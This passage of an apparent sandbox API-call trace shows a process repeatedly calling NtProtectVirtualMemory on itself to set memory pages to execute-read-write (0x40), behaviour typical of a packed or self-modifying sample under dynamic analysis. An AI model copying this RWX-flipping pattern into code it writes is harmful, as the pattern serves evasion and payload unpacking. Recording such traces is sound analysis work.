OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.894] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.905] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.975] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.993] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.004] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.025] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.045] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.119] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.145] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.288] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.319] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.438] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.568] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.672] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.682] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.728] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.913] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.960] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0302.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.047] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 